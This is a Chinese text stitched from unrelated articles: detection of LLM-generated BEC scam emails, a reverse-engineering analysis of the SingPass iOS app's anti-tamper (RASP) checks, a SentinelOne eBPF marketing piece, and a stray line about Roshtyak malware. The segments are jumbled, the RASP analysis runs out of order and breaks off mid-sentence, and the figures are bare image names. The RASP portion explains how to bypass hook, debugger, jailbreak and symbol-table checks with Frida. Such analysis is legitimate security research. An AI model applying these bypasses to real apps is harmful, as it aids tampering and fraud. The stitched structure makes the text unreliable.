LLM攻擊:形式不同,實質相同不妨先從分析三封電子郵件入手,每封郵件發送給我們保護的不同組織的用戶。這些惡意電子郵件都是商業電子郵件入侵(BEC)攻擊,攻擊者通常冒充一家公司的高層人員,比如首席執行官或首席財務官,並指示員工購買禮品卡以獎勵同事。

電子郵件1:

1.png

(圖1)

電子郵件2:

2.png

(圖2)

電子郵件3:

3.png

(圖3)

如果你仔細看一下這些郵件,就會發現有著顯著的相似之處,如下所述:

相似之處

例子1

例子2

例子3

讚賞信息

忠誠和努力創造美好未來

美妙過程、努力、忠誠和專注打動了高層管理人員

美妙過程、努力、忠誠和專注打動了我

行動

送禮品卡,給一些員工以驚喜

送禮品卡,給一些高級員工以驚喜

送禮品卡,給一些員工以驚喜

要求保密

要求你保密,以免敗壞這份驚喜的效果

要求你保密,以免敗壞份驚喜的效果

要求你保密,以免敗壞這份驚喜的效果

潛在的禮品卡

Amex、維薩和塔吉特

Amex、維薩和亞馬遜

維薩、塔吉特和Amex

請求協助

想听聽意見,了解最近的商店,為我迅速購買禮品

想听聽意見

你能找到的最近商店,為我迅速購買禮品

簽收

一收到該電子郵件請回复,致以新年問候

一收到該電子郵件請回复,致以感恩節問候

期待你的回复,致以美好祝愿

從注意到的相似之處來看,可以假定電子郵件使用了模板。此外,易於識別的模式可以歸因於LLM的訓練過程。

當LLM接受訓練時,它接觸到大量的文本數據,使其能夠學習和內化模式。這些模式包括常見的語言結構、短語和內容元素。因此,當受過訓練的模型用於生成文本時,它會藉鑑這學習到的知識,並將這些模式整合到輸出中,從而導致熟悉的主題和內容元素重複出現。

LLM防禦? LMKPerception Point利用了LLM生成的文本中的模式,並用LLM來增強威脅檢測。為了做到這一點,我們使用了transformer,這種高級模型可以理解文本的含義和上下文,LLM也使用了這種高級模型。

使用transformer,我們可以執行文本嵌入,這個過程通過捕獲文本的語義本質,將文本編碼成數字表示。我們使用先進的聚類算法對語義內容密切相關的電子郵件進行分組。通過聚類,我們可以訓練模型來區分屬於同一聚類的電子郵件。這使模型能夠學習和識別由LLM生成的內容中的模式。

當新的電子郵件進入我們的高級威脅防護平台時,模型會掃描其內容,以確定它是否是由LLM生成以及它被惡意使用的可能性。如果發現生成的文本是惡意文件,模型將提供潛在攻擊的詳細信息。

說到檢測人工智能生成的惡意電子郵件,還存在另外一個與誤報判定有關的障礙。如今,許多合法的電子郵件都是藉助ChatGPT等生成式人工智能工具構建的,其他電子郵件常常是由含有重複短語的標準模板構建的(新聞通訊、營銷電子郵件和垃圾郵件等),這些模板與LLM模型的結果非常相似。

我們新模型的顯著特點之一是它的三階段架構,專門設計用於最大限度地檢測由LLM生成的任何有害內容,同時保持極低的誤報率。

在第一階段,模型賦予0到1之間的分數,以評估內容由人工智能生成的概率,然後模型切換到分類模式。借助先進的transformer和完善後的聚類算法,內容被分為多個類別,包括BEC、垃圾郵件和網絡釣魚。再提供0到1之間的分數,標記內容屬於這些類別的概率。

第三個也是最後一個階段融合了前兩個階段的評估結果,並補充了數字特徵,比如發送方信譽評分、身份驗證協議(DKIM、SPF、DMARC)以及我們收集的其他證據。基於這些輸入信息,模型對內容由人工智能生成的可能性以及它是惡意內容、垃圾郵件還是乾淨內容做出最終預測。

為了查看實際運行的模型,我們讓ChatGPT編寫一封示例電子郵件:

4.png

(圖4)

如你所見,輸出含有用於個性化的括號。接下來,我們將生成的文本發送給模型,沒有括號。值得一提的是,對於下面的所有示例,階段3中提到的幾十個數值都被視為郵件是從新的發件人發送的。

5.png

(圖5)

模型返回的置信度分數為0.96,將該內容描述為潛在的BEC攻擊,具體是使用禮品卡請求從受害者那裡竊取資金的郵件。

然後,我們測試了模型在面對生成較長的文本時的表現:

6.png

(圖6)

7.png

(圖7)

8.png

(圖8)

就像針對較短文本的初始判定一樣,模型還將生成的較長文本分類為潛在的BEC禮品卡攻擊,得分為0.92。

為了進一步測試模型,我們隨後讓ChatGPT撰寫一封電子郵件,要求收件人提供W-2表格。這是一種廣泛使用的社會工程攻擊,因為W-2表格用於報告員工的年薪以滿足稅收要求。對於網絡犯罪分子來說,這無異於一座金礦,擁有豐富的個人和財務信息,可用來進行身份盜竊、稅務欺詐,甚至用於更複雜的社會工程攻擊。

以下是ChatGPT給出的答案:

9.png

(圖9)

10.png

(圖10) 11.png

(圖11)

即使我們給了ChatGPT更詳細的說明,模型仍然可以正確地對內容進行分類——在這種情況下,將其分類成潛在的W2社會工程攻擊,得分為0.87。

結語我們在本文中探討了網絡防御者如何利用LLM生成的攻擊存在的漏洞和局限性。通過了解這些弱點,防御者就可以製定有針對性的緩解策略,並利用LLM作為消除威脅的寶貴工具,積極採用主動性、適應性的方法,防御者可以加強防禦,比攻擊者領先一步。

線程檢查之前的Frida stalker 檢查的替代方法是通過以下調用訪問當前線程狀態:

43.png

然後,由於以下比較,它檢查state-ts_64.__pc 是否在libsystem_kernel.dylib 中:

44.png

換句話說,如果state-ts_64.__pc 與mach_msg 的距離小於0x4000,則認為它在libsystem_kernel.dylib 中。

乍一看,對這個RASP 檢查可能不是很熟悉,但由於之前與EVT_CODE_TRACING 相關的檢查旨在檢測Frida Stalker,因此該檢查也可能旨在檢測Frida Stalker。

為了證實這個假設,我開發了一個小測試用例,在一個獨立的二進製文件中重現了這個檢查,我們可以根據它是否通過Frida stalker 來觀察差異:

45.png

Stalker 測試用例的輸出

46.png

沒有Stalker 的測試用例的輸出

通過使用函數gum_stalker_exclude 從跟踪者中排除庫libsystem_kernel.dylib ,從而輕鬆繞過此檢查:

47.png

可以看到,state-ts_64.__pc 位於libsystem_kernel.dylib 中:

48.png

排除內存範圍的測試用例的輸出

應用加載的庫RASP 事件EVT_APP_LOADED_LIBRARIES 旨在檢查Mach-O 依賴項的完整性。換句話說,它檢查Mach-O 導入的庫是否被修改。

Assemblyranges:0x100E4CDF8–0x100e4d39c

由於dladdr 函數,與此檢查相關的代碼首先訪問Mach-O 標頭:

49.png

dl_info 包含庫的基地址,其中包含第一個參數中提供的地址,因此,一個Mach-O二進製文件會連同它的標頭文件Dl_info一起加載。 Dli_fbase實際上指向mach_header_64。

然後該函數遍歷類似LC_ID_DYLIB 的命令以訪問依賴項的名稱:

50.png

此名稱包含依賴項的路徑。例如,我們可以按如下方式訪問此列表:

51.png

依賴項的名稱用於填充哈希表,其中哈希值以32 位編碼:

52.png

在後面的代碼中,這個計算表將與另一個哈希表(代碼中硬編碼的)進行比較,如下所示:

53.png

哈希示例如果某些庫已被修改為註入,例如FridaGadget.dylib,那麼動態計算的哈希將與代碼中硬編碼的哈希不匹配。

雖然這種檢查的執行是相當“標準”的,但有幾點值得一提:

首先,哈希函數似乎是一個派生的MurmurHash。

其次,哈希是32位編碼的,但是圖4中的代碼引用了64位的X11/X12寄存器。這實際上是一個限制內存訪問次數的編譯器優化。

最後,在每個檢查實例中,硬編碼的哈希值在二進製文件中重複。在SingPass 中,此RASP 檢查出現兩次,因此我們在以下位置找到這些值:0x100E4CF38、0x100E55678。這種重複可能用於防止易於修復的單點位置(single spot location)。

代碼系統庫此檢查與事件EVT_CODE_SYSTEM_LIB 相關聯,該事件包括驗證內存系統庫及其在dyld 共享緩存(磁盤上)中的內容的完整性。

Assemblyranges:0x100ED5BF8–0x100ED5D6Cand0x100ED5E0C–0x100ED62D4

此檢查通常以以下模式開始:

54.png

如果帶有給定check_region_cbk 回調的iterate_system_region 的結果不為0,它會觸發EVT_CODE_SYSTEM_LIB 事件:

55.png

要理解這個檢查背後的邏輯,我們需要了解iterate_system_region 函數的用途以及它與回調check_region_cbk 的關係。

iterate_system_region該函數旨在調用系統函數vm_region_recurse_64,然後根據可能觸發第一個參數check_region_cbk中給出的回調的條件過濾它的輸出。

iterate_system_region首先通過SYS_shared_region_check_np系統調用訪問dyld共享緩存的基址。這個地址用於讀取和記憶dyld_cache_header結構中的一些屬性:

1.共享緩存標頭;

2.共享緩存結束地址;

3.與共享緩存相關的其他限制;

計算過程如下:

56.png

從逆向工程的角度來看,用於記憶這些信息的堆棧變量與稍後調用的vm_region_recurse_64 的參數信息別名。我不知道這種混疊是否是故意的,但它使結構的逆向工程變得更加複雜。

在vm_region_recurse_64上有一個循環,它查詢vm_region_submap_info_64信息,查找dyld共享緩存範圍內的這些地址。由於mach_msg_type_number_t *infoCnt參數被設為19,我們可以確定查詢的類型(vm_region_submap_info_64):

57.png

此循環在某些條件下中斷,並且在其他條件下觸發回調。正如稍後解釋的那樣,回調驗證dyld 共享緩存中存在的庫的內存完整性。

這個循環在某些條件下中斷,而在其他條件下觸發回調。回調會驗證dyld共享緩存中存在的庫在內存中的完整性。

基本上,如果發生以下情況,就會觸發對共享緩存進行深度檢測的回調:

58.png

check_region_cbk當條件滿足時,iterate_system_region調用check_region_cbk,第一個參數中帶有可疑地址:

59.png

在分析SingPass 時,只有一個回調函數與iterate_system_region一起使用,它的代碼並沒有特別混淆(字符串除外)。一旦我們知道這些檢查與dyld共享緩存有關,我們就可以很容易地弄清楚這個函數中涉及的結構。這個回調位於0x100ed5e0c地址,並重命名為check_region_cbk。

它首先訪問有關地址的信息:

60.png

此信息用於讀取與地址參數關聯的__TEXT 段的內容。

61.png

__TEXT 字符串以及共享緩存的不同路徑(如/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64e 和標頭的魔法值:0x01010b9126:dyld_v1 arm64e 或0x01010b9116:dyld_v1 arm64)都被編碼。

另一方面,該函數打開dyld_shared_cache 並查找包含與地址參數關聯的庫的共享緩存部分:

62.png

第二次調用mmap()的目的是加載包含庫代碼的共享緩存部分。然後,該函數檢查__TEXT段的內容是否與內存中的內容相匹配。執行此比較的循環位於0x100ED6C58 -0x100ED6C70。

我們可以從這個RASP檢查的描述中觀察到,開發者花了很多精力來避免性能問題和內存消耗。另一方面,在我的測試中從來沒有調用過回調check_region_cbk(即使我掛鉤了系統函數)。我不知道是不是因為我誤解了條件,但最後,我必須手動強制條件。

RASP 的設計弱點由於保存函數指針的不同#EVT_* 靜態變量,混淆器能夠為支持的RASP 事件提供專用回調。儘管如此,應用程序開發人員定義的函數init_and_check_rasp 將所有這些指針設置為同一個回調:hook_detect_cbk_user_def。在這樣的設計中,所有RASP 事件最終都在一個函數中,這削弱了不同RASP 檢查的強度。

這意味著我們只需要針對這個函數來禁用或繞過RASP 檢查。

63.png

由於這個缺點,我可以防止應用程序一啟動就顯示錯誤消息。

它存在另外兩個RASP 檢查:EVT_APP_MACHO 和EVT_APP_SIGNATURE,由於開發人員未啟用它們,因此在SingPass 中不存在。

總結一方面商業解決方案實現了強大而先進的RASP 功能,例如,內聯繫統調用分佈在應用程序的不同位置。另一方面,應用程序的開發人員通過為所有事件設置相同的回調來削弱RASP 功能。此外,該應用程序似乎沒有使用商業解決方案提供的本機代碼混淆,這使得RASP 檢查不受靜態代碼分析的保護。無論用戶提供什麼配置,對這些檢查強制執行代碼混淆都是值得的。

1.png

通過在應用程序的安裝目錄中搜索一些關鍵字,我們實際上得到了兩個結果,它們含有混淆器名稱的信息:

2.png

NuDetectSDK 二進製文件也使用相同的混淆器,但它似乎沒有參與上圖所示的早期越獄檢測。另一方面,SingPass 是應用程序的主要二進製文件,我們可以觀察到與威脅檢測相關的字符串:

3.png

混淆器的名稱已被編輯,但不會影響代碼的內容。

不幸的是,二進製文件沒有洩漏其他字符串,這些字符串可以幫助識別應用程序檢測越獄設備的位置和方式,但幸運的是,應用程序沒有崩潰。

如果我們假設混淆器在運行時解密字符串,則可以嘗試在顯示錯誤消息時轉儲__data 部分的內容。在執行時,用於檢測越獄設備的字符串可能已被解碼並清楚地存在於內存中。

1.我們運行應用程序並等待越獄消息;

2.我們使用Frida 附加到SingPass,並註入一個庫:

2.1在內存中解析SingPass 二進製文件;

2.2轉儲__data 部分的內容;

2.3 將轉儲寫入iPhone 的/tmp 目錄;

一旦數據區被轉儲,__data部分會發生以下變化:

4.png

轉儲前後的__data 部分

此外,我們可以觀察到以下字符串,它們似乎與混淆器的RASP功能有關:

5.png

與RASP 功能相關的字符串

所有的EVT_*字符串都由一個且只有一個我命名為on_rasp_detection的函數引用。這個函數是應用程序開發者在觸發RASP事件時用來執行操作的威脅檢測回調函數。

為了更好地理解這些字符串背後的檢查邏輯,讓我們從用於檢測掛鉤函數的EVT_CODE_PROLOGUE 開始。

EVT_CODE_PROLOGUE:掛鉤檢測當通過彙編代碼接近on_rasp_detection 的交叉引用時,我們可以多次發現這種模式:

6.png

為了檢測給定函數是否被鉤住,混淆器加載函數的第一個字節,並將該字節與值0xFF進行比較。乍一看,0xFF似乎是任意的,但事實並非如此。實際上,常規函數以一個序言開始,該序言在堆棧上分配空間,以保存由調用約定定義的寄存器和函數所需的堆棧變量。在AArch64中,這個分配可以通過兩種方式執行:

7.png

這些指令是不相等的,如果偏移量存在,它們可能會導致相同的結果。在第二種情況下,指令sub SP、SP、#CST 用以下字節編碼:

8.png

正如我們所看到的,該指令的編碼從0xFF開始。如果不是這樣,那麼該函數要么以不同的堆棧分配序言開始,要么可能以一個掛鉤的蹦床開始。由於應用程序的代碼是通過混淆器的編譯器編譯的,因此編譯器能夠區分這兩種情況,並為正確的函數的序言插入正確的檢查。

如果函數指令的第一個字節沒有通過檢查,則跳轉到紅色基本塊。這個基本塊的目的是觸發一個用戶定義的回調,它將根據應用程序的設計和開發人員的選擇來處理檢測:

打印錯誤

應用程序崩潰

破壞內部數據

……

從上圖中,我們可以觀察到檢測回調是從位於#hook_detect_cbk_ptr 的靜態變量加載的。調用此檢測回調時,混淆器會向回調提供以下信息:

1.檢測碼:EVT_CODE_PROLOGUE 為0x400;

2.可能導致應用程序崩潰的受攻擊指針;

現在讓我們仔細看看檢測回調的整體設計。

檢測回調如上一節所述,當混淆器檢測到篡改時,它會通過調用存儲在地址的靜態變量中的檢測回調來做出反應:0x10109D760

9.png

通過靜態分析hook_detect_cbk,實現似乎破壞了回調參數中提供的指針。另一方面,在運行應用程序時,我們觀察到越獄檢測消息,而不是應用程序崩潰。

如果我們查看在該地址讀取或寫入的交叉引用,我們會得到以下指令列表:

10.png

所以實際上只有一條指令,init_and_check_rasp+01BC,用另一個函數覆蓋默認的檢測回調:

11.png

與默認回調相比:hook_detect_cbk(被覆蓋的函數)相比,hook_detect_cbk_user_def不會損壞一個會導致應用程序崩潰的指針。相反,它調用on_rasp_detection函數,該函數引用上圖中列出的所有字符串EVT_CODE_TRACING、EVT_CODE_SYSTEM_LIB等。

通過整體查看init_and_check_rasp函數,我們可以注意到X23寄存器也用於初始化其他靜態變量:

13.png

X23寫入指令

這些內存寫入意味著回調hook_detect_cbk_user_def 用於初始化其他靜態變量。特別是,這些其他靜態變量很可能用於其他RASP 檢查。通過查看這些靜態變量#EVT_CODE_TRACING_cbk_ptr、#EVT_ENV_JAILBREAK_cbk_ptr 等的交叉引用,我們可以找到執行其他RASP 檢查的位置以及觸發它們的條件。

EVT_CODE_SYSTEM_LIB 14.png

EVT_ENV_DEBUGGER

15.png

EVT_ENV_JAILBREAK

16.png

多虧了#EVT_*交叉引用,我們可以靜態地通過使用這些#EVT_*變量的所有基本塊,並突出顯示可能觸發RASP回調的底層檢查。在詳細檢查之前,需要注意以下幾點:

1.雖然應用程序使用了一個商業混淆器,除了RASP之外,還提供了本地代碼混淆,但代碼是輕度混淆的,這使得靜態彙編代碼分析非常容易。

2.應用程序為所有RASP 事件設置相同的回調。因此,它簡化了RASP 繞過和應用程序的動態分析。

反調試SingPass 使用的混淆器版本實現了兩種調試檢查。首先,它檢查父進程id (ppid) 是否與/sbin/launchd 相同,後者應該為1。

17.png

getppid 通過函數或系統調用調用。

如果不是這種情況,它會觸發EVT_ENV_DEBUGGER 事件。第二個檢查基於用於訪問extern_proc.p_flag 值的sysctl。如果此標誌包含P_TRACED 值,則RASP 例程會觸發EVT_ENV_DEBUGGER 事件。

18.png

在SingPass 二進制中,我們可以在以下地址範圍內找到這兩個檢查的實例:

19.png

越獄檢測對於大多數越獄檢測,混淆器會通過檢查設備上是否存在(或不存在)某些文件來嘗試檢測設備是否已越獄。

借助以下幫助程序,可以使用系統調用或常規函數檢查文件或目錄:

20.png

如上所述,我提到__data 部分的轉儲顯示與越獄檢測相關的字符串,但轉儲並未顯示混淆器使用的所有字符串。

通過仔細研究字符串編碼機制,可以發現有些字符串是在臨時變量中即時解碼的。我將在本文的第二部分解釋字符串編碼機制,這樣,我們可以通過在fopen、utimes等函數上設置鉤子,並在這些調用之後立即轉儲__data部分來揭示字符串。然後,我們可以遍歷不同的轉儲,查看是否出現了新的字符串。

21.png

最後,該方法無法對所有字符串進行解碼,但可以實現良好的覆蓋。用於檢測越獄的文件列表在附件中給出。

還有一個檢測unc0ver 越獄的特殊檢查,包括嘗試卸載/.installed_unc0ver:

0x100E4D814:_unmount('/.installed_unc0ver')

環境混淆器還會檢查觸發EVT_ENV_JAILBREAK 事件的環境變量。其中一些檢查似乎與代碼提升檢測有關,但仍會觸發EVT_ENV_JAILBREAK 事件。

22.png

startswith()從逆向工程的角度來看,startswith()實際上是作為一個“or-ed”的xor序列來實現的,以得到一個布爾值。這可能是編譯器優化的結果。你可以在位於地址0x100015684的基本塊中觀察這個模式。

高級檢測除了常規檢查之外,混淆器還執行高級檢查,比如驗證SIP(系統完整性保護)的當前狀態,更準確地說,是KEXTS代碼簽名狀態。

根據我在iOS越獄方面的經驗,我認為沒有越獄會禁用CSR_ALLOW_UNTRUSTED_KEXTS標誌。相反,我猜它是用來檢測應用程序是否在允許這種停用的Apple M1 上運行。

23.png

Assemblyrange:0x100004640–0x1000046B8

混淆器還使用Sandbox API 來驗證是否存在某些路徑:

24.png

通過這個API 檢查的路徑是OSX 相關的目錄,所以我猜它也被用來驗證當前代碼沒有在Apple Silicon 上被解除。例如,下面是使用Sandbox API 檢查的目錄列表:

25.png

Assemblyrange:0x100ED7684(function)

此外,它使用沙盒屬性file-read-metadata 作為stat() 函數的替代方案。

Assemblyrange:0x1000ECA5C–0x1000ECE54

該應用程序通過私有系統調用使用沙盒API 來確定是否存在一些越獄工件。這是非常明智的做法,但我想這並不符合蘋果的安全政策。

代碼符號表此檢查的目的是驗證已解析導入的地址是否指向正確的庫。換句話說,此檢查驗證導入表沒有被可用於掛鉤導入函數的指針篡改。

Initialization: part of sub_100E544E8

Assemblyrange:0x100016FC4–0x100017024

在RASP 檢查初始化(sub_100E544E8) 期間,混淆器會手動解析導入的函數。此手動解析是通過迭代SingPass 二進製文件中的符號、檢查導入符號的庫、訪問(在內存中)此庫的__LINKEDIT 段、解析導出trie 等來執行的。此手動解析填充一個包含已解析符號的絕對地址的表。

此外,初始化例程設置遵循以下佈局的元數據結構:

26.png

symbols_index 是一種轉換錶,它將混淆器已知的索引轉換為__got 或__la_symbol_ptr 部分中的索引。索引的來源(即__got 或__la_symbol_ptr)由包含類枚舉整數的origins 表確定:

27.png

symbols_index和origins這兩個表的長度都是由靜態變量nb_symbols定義的,它被設置為0x399。元數據結構後面跟著兩個指針:resolved_la_syms 和resolved_got_syms,它們指向混淆器手動填充的導入地址表。

每個部分都有一個專用表:__got 和__la_symbol_ptr。

然後,macho_la_syms 指向__la_symbol_ptr 部分的開頭,而macho_got_syms 指向__got 部分。

最後,stub_helper_start/stub_helper_end 保存了__stub_helper 部分的內存範圍。稍後我將介紹這些值的用途。

這個元數據結構的所有值都是在函數sub_100E544E8中進行初始化時設置的。

在SingPass 二進製文件的不同位置,混淆器使用此元數據信息來驗證已解析導入的完整性。它首先訪問symbols_index 和具有固定值的起源:

28.png

由於symbols_index表包含uint32_t值,#0xCA8匹配#0x32A(起源表的索引)當除以sizeof(uint32_t):0xCA8=0x32A * sizeof(uint32_t)。

換句話說,我們有以下操作:

29.png

然後,給定sym_idx 值並根據符號的來源,該函數訪問已解析的__got 表或已解析的__la_symbol_ptr 表。此訪問是通過位於sub_100ED6CC0 的輔助函數完成的。可以用下面的偽代碼來概括:

30.png

比較section_ptr 和manual_resolved 的索引sym_idx 處的條目,如果它們不匹配,則觸發事件#EVT_CODE_SYMBOL_TABLE。

實際上,比較涵蓋了不同的情況。首先,混淆器處理sym_idx 處的符號尚未解析的情況。在這種情況下,section_ptr[sym_idx] 指向位於__stub_helper 部分中的符號解析存根。這就是元數據結構包含本節的內存範圍的原因:

31.png

另外,如果兩個指針不匹配,函數會使用dladdr來驗證它們的位置:

32.png

例如,如果導入的函數與Frida掛鉤,則兩個指針可能不匹配。

在origin[sym_idx]被設置為SYM_ORIGINS:NONE的情況下,函數跳過檢查。因此,我們可以通過用0填充原始表來禁用這個RASP檢查。符號的數量接近元數據結構,元數據結構的地址是由___atomic_load和___atomic_store函數洩露的。

33.png

代碼跟踪檢查代碼跟踪檢查旨在驗證當前沒有被跟踪。通過查看#EVT_CODE_TRACING_cbk_ptr 的交叉引用,我們可以識別出兩種驗證。

GumExecCtxEVT_CODE_TRACING 似乎能夠檢測Frida 的跟踪檢查是否正在運行。這是我第一次觀

eBPF(extended Berkeley Packet Filter) 可謂Linux 社區的新寵,很多大公司都開始投身於eBPF 技術,如Goole、Facebook、Twitter 等。 eBPF 是從BPF(也稱為cBPF:classic Berkeley Packet Filter)發展而來的,BPF 是專門為過濾網絡數據包而創造的。但隨著eBPF 不斷完善和加強,現在的eBPF 已經不再限於過濾網絡數據包了。

eBPF用於在Linux OS內核中加載和運行用戶定義的程序,以觀察、更改和響應內核行為,而不會影響內核模塊的不穩定。 eBPF直接從用戶空間提供內核級可見性。可見性和穩定性的結合使得eBPF框架對安全應用程序特別有吸引力。

我們會在本文詳細介紹eBPF的工作原理,以及它對於雲工作負載保護平台(CWPP)的重要性。

eBPF架構概述eBPF程序允許我們觀察和響應內核中的應用程序負載行為,而無需修改應用程序代碼本身。這對於許多應用程序都很有用,尤其是雲工作負載保護等安全應用程序。

為了講解方便,我們對ebpf.io中的原始圖進行了修改。

1.jpg

架構簡述

以一個在用戶空間中運行的應用程序——CWPP代理為例,它包括一個用於Linux內核中進程級可見性的eBPF程序。 eBPF程序本身是字節碼,儘管開發人員通常使用更高級別的編程語言,其編譯器支持eBPF字節碼。該eBPF程序被加載到Linux內核中,該程序立即由eBPF驗證引擎進行驗證。然後,程序被編譯並附加到設計目標內核事件,這就是所謂的eBPF程序是“事件驅動的”的真實意思。無論何時發生此事件,程序都會附加到此事件,運行其觀察和分析任務直至完成,並將結果返回給應用程序。

在eBPF程序和用戶空間應用程序/工作負載之間傳遞信息的機制被稱為“eBPFmap”或簡稱為“map”。

eBPF安全eBPF驗證引擎和即時編譯器是eBPF框架首先確保在內核中加載和運行的eBPF程序不會破壞內核穩定的方法。這便是第一條規則:無攻擊性。

考慮eBPF的替代方案:編寫內核模塊。內核模塊引起了對操作穩定性和復雜性的關注。雖然編寫內核模塊確實允許開發人員更改內核行為,但這是一項高度專業化的技能,因此人員配備和保留便成為一個問題。更明確地說,使用內核模塊會引發兩個關鍵風險問題:1.內核模塊會使設備崩潰嗎? 2、它是否會引入安全漏洞?

除了穩定性和安全性之外,還有操作時的功耗問題:內核模塊只適用於特定的Linux內核版本和發行版。維護內核模塊會消耗寶貴的開發週期,不必要使操作管理複雜化。 eBPF框架解決了這些痛點,

在將任何eBPF程序加載到內核之前,它都要經過驗證引擎和JIT編譯器。驗證程序確保程序運行安全,不會使系統崩潰,也不會破壞數據。它驗證滿足以下幾個條件:

加載eBPF程序的進程具有執行此操作所需的權限;

eBPF程序不會使系統崩潰;

eBPF程序運行至完成,也就是說,它不會無限循環。

一旦經過驗證,JIT編譯器就會將程序從字節碼轉換為設備指令,從而優化執行速度。

現在eBPF程序已經驗證和編譯,它被附加到內核級事件,這樣當事件發生時,程序就會被觸發,直至運行完成,並將信息呈現給用戶空間應用程序。這就引出了eBPFmap,或者簡單的“map”。

eBPFmapeBPFmap是在eBPF程序和用戶空間應用程序之間傳遞信息的機制。支持雙向信息流。 map是eBPF程序和用戶空間應用程序可以讀取或寫入的數據結構。

例如,程序可能會在文件的gzip等事件上被觸發。 eBPF程序將向map中寫入有關該事件的一些信息,例如文件名、文件大小和gzip時間戳。它還可以增加給定時間段內gzip操作發生的次數。如果該數字超過某個閾值,eBPF程序可以將“惡意”判斷寫入數據結構。簡單地說,eBPF程序觀察到表明勒索軟件攻擊的行為,並將此行為標記為惡意行為。用戶空間程序(在我們的示例中是雲工作負載保護(CWPP)代理)可以讀取該map,查看惡意判斷,並採取適當的操作。基本信息處理髮生在eBPF程序中,最大限度地減少了傳遞給用戶空間應用程序的信息量,從而優化了性能。

CWPP中eBPF的優勢雲工作負載保護平台代理執行其他安全控制所沒有的操作,實時檢測並響應運行時威脅,如勒索軟件或零日威脅。這使得CWPP成為雲防禦深度戰略的重要組成部分。一個組織可以而且經常應該有其他雲安全措施,如AppSec、CSPM等。每一項都在穩健的雲安全策略中發揮作用。 CWPP代理與這些其他控件一起工作,以提供運行時保護和記錄工作負載追踪分析。

2.jpg

SentinelOne控制台中顯示的Linux勒索軟件攻擊

如下圖所示,對雲計算實例(VM)的勒索軟件攻擊可以在幾毫秒內鎖定雲工作負載。請注意,在這段1分鐘的視頻中,CWPP代理在勒索軟件啟動後幾分鐘(不到一秒鐘)就檢測到並阻止了勒索軟件攻擊。

嘗試從側面掃描解決方案獲取實時響應是無法實現的。側面掃描通常每天只運行一次,因為對雲計算實例的存儲捲進行快照檢查的成本非常高。此外,側面掃描架構在內核中缺乏進程級可見性。這些是SOC需要調查的法醫細節,並將事件適當標記並發送給適當的DevOps所有者。只有使用eBPF框架的行為、實時CWPP代理才能提供實時過程級可見性和穩定性的組合,使其成為首選。

工作負載追踪分析的歷史記錄不僅有助於在發生安全事件時進行調查,還可以進行主動威脅搜索。通過這種方式,攻擊者甚至可以在發動攻擊之前被阻止。

eBPF框架在CWPP計劃中的應用提供了幾個優點,包括但不限於:

運行穩定性;

系統性能;

業務靈活性;

運行穩定性;

雖然內核模塊可以提供CWPP應用程序所需的內核可見性,但在內核中運行代碼可能是危險的。錯誤的操作會破壞系統的穩定(例如內核被攻擊),或在內核中引入安全漏洞。這兩種結果都是不可接受的,特別是在涉及CWPP代理的情況下。使用內核模塊的CWPP代理可能會導致內核被攻擊,從而導致VM崩潰並阻礙你的工作負載。這些威脅會直接影響到財務績效、訂單履行、客戶忠誠度。

與內核模塊形成鮮明對比的是,eBPF框架包括諸如驗證引擎、JIT編譯器等安全控件。因此,eBPF程序不會使內核崩潰,它們也不能進入內核中的任意內存空間,這使得它們更不容易出現安全漏洞。 eBPF程序提供了所有內核級的可見性,並且沒有來自內核模塊的任何風險。基於這些原因,從運行穩定性的角度來看,eBPF是CWPP的首選。

系統性能/資源效率將信息從內核內部傳輸到用戶空間的速度緩慢,並且會帶來CPU、內存性能損耗。相反,eBPF框架使我們能夠觀察內核行為,並在將結果的子集傳輸回用戶空間之前在內核內執行分析。這為在用戶空間中運行並使用eBPF程序的CWPP代理創造了基本的性能優勢。 eBPF與具有內核模塊的CWPP代理相比,用最低的消耗提供了較高的可觀測性。

業務敏捷性開發人員應該專注於創新,而不是解決內核模塊引入的內核依賴問題。通過從用戶空間進行操作,DevOps可以更靈活地更新主機操作系統映像,而不必擔心更新與CWPP代理髮生衝突。 eBPF使這成為可能。因此,更多的DevOps可以用於創新,而不必花精力去維護。

此外,由於CWPP代理本身使用eBPF框架並避免內核模塊,因此供應商也更加註重創新。當然,客戶也從業務敏捷性中獲益。

以SentinelOne的產品為例,說說CWPP的一些出色性能

高性能獨立測試結果證明了這一點。 2021年4月,MITRE Engenuity發布了Carbanak和FIN7的MITRE ATTCK基準測試結果,這是一項專注於模擬金融威脅群體的評估。 MITRE ATTCK首次在其測試中包含Linux服務器。 SentinelOne是唯一一個在Windows設備和Linux服務器之間具有100%可見性的供應商。我們擁有最豐富的檢測(MITRE的術語是“分析檢測”),如下圖所示。

4.jpg

Visibility, MITRE Engenuity, Carbanak + FIN7

5.jpg

Analytic Detections, MITRE Engenuity, Carbanak+FIN7

如果CWPP要保護雲工作負載免受運行時攻擊並確保業務連續性,那麼它必須是實時的如果是延遲檢測,哪怕是幾秒鐘的時間,攻擊者都可以使雲工作負載停止。如果不是勒索軟件,那就是惡意軟件在你的雲足跡中悄悄傳播。從廣義上講,傳播範圍越廣,補救力度就越大。損失也就越大。正如MITRE定義的那樣,SentinelOne提供了100%的實時檢測,零延遲。這就意味著,延遲越少越好。

6.jpg

Delayed Detections, MITRE, Carbanak + FIN 7

同樣,2022年MITRE Engenuity ATTCK測試顯示SentinelOne具有極高的性能。 Wizard Spider+Sandworm模擬還包括Linux服務器。此時,SentinelOne再次以99%的分析覆蓋率領先於CrowdStrike、Microsoft或TrendMicro。可以在MITRE Engenuity網站上進行直接比較。

7.jpg

2022年MITRE信息圖

資源效率任何應用程序,無論是CWPP代理還是其他應用程序,都需要計算和內存資源才能運行,這些資源都是有成本的。對於在固定和沈沒成本基礎設施(如數據中心)內的部署,此類應用程序會佔用原本可用於主要業務工作負載的資源,雖然這不是一項增加的運營費用,但存在資源的機會成本。然而,對於雲IaaS,所使用的資源是按需計量和付費的。部署CWPP代理可能必然會增加雲計算實例的大小(例如,從t4g.medium到t4g.large),從而逐漸增加其運營費用。當然,這是一項必要的支出,但也是一項增量支出。

因此,SentinelOne的產品更關注CPU和內存利用率,就像關注性能一樣。 2022年7月,SentinelOne宣布支持AWS Graviton3,這是最新一代AWS ARM處理器,在計算、功率等方面提供了進一步的優勢。

異常檢查此外,Roshtyak包含設置自定義向量異常處理程序的檢查,並有意觸發各種異常,以確保它們都按預期得到處理。

